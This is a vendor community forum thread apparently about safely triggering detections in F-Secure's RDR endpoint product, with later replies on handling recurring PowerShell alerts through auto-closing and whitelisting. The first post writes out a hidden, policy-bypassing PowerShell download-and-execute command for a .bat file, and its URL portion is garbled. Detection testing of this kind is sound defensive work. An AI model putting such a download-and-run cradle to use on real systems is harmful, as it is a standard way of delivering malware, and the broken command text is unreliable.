RDR testing tips

HannuKiHannuKi Posts: 29 F-Secure Employee

Let's start a topic for RDR testing tips of the day to safely simulate an attack that generates detections.

As you probably know, testing RDR with some simple detections can be as simple as opening command line prompt and running "whoami" on a target endpoint. However, you may also try safely something more advanced with powershell.

We will create .bat file that calls powershell to download code from 3rd party website, in this case pastebin.com containing the following harmless code:

# Filename: Hello.ps1
Write-Host 'Hello World!'
# end of script

1. Create a hello-world.bat file

2. Add the following command:

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('c"); Powershell.exe -executionpolicy remotesigned -File $env:Temp\powershell.ps1
3. Save and run it on an endpoint that has the RDR client installed.




  • demoldemol Posts: 2

    Dear HannuKi,


    Please can you suggest a similar test for Unix environments?


    Thank you.


    Best regards,



  • RomanHRomanH Posts: 12 F-Secure Employee



    One command you can use on Macs to generate a test Broad Context Detection is the following one:

    python -m SimpleHTTPServer


    Unfortunately we do not yet have a sensor for Linux but the above should work for Mac sensors.



    - Roman

  • CliveCCliveC Posts: 12
    So I have a client using RDR, they use automated logon scripts for powershell to retrieve data about the PCs and for the last two months, each and every day there is alerts. How would you close the finding down as being a 'Normal' or 'Common' procedure in the environment? It is not a false positive in the sense that there is a recon activity, but it is a day-to-day task within this environment. How do I get it to not appear as a finding?
  • HannuKiHannuKi Posts: 29 F-Secure Employee

    Hello Clive,

    Thanks for writing this question to the Community since other RDR users might struggle with similar issues like yours.

    First of all, there's a new feature introduced in September to automatically close incidents based on previously done user actions. This feature will close automatically repeating incidents matching incidents previously closed as false positive. Incident resolution will be Closed: Auto false positive. Email notification will not be sent for Auto false positives. This should be used primarily for events you do not want to appear as new alerts or findings.

    If you repeating incidents are not identical match, then another option is to submit a whitelisting request. That will definitely help in case the auto false positive feature is not suitable in your client's environment.

    Best regards,


  • CliveCCliveC Posts: 12
    Thank you Hannu

    Is there a way to whitelist ourselves? Obviously each time a different user logs onto a different machine this will be picked up, perhaps a confirmation key in a powershell comment that F-Secure can interpret to whitelist when the script runs. Especially in the case of "hot-desk" style workstations?
  • HannuKiHannuKi Posts: 29 F-Secure Employee

    Hello Clive, the options mentioned earlier are the currently available options. I hope those two methods will work in your client's environment. You may provide further information as a private support ticket to allow us better consider your specific requirements while continuously improving RDR solution.

    Best regards,


This discussion has been closed.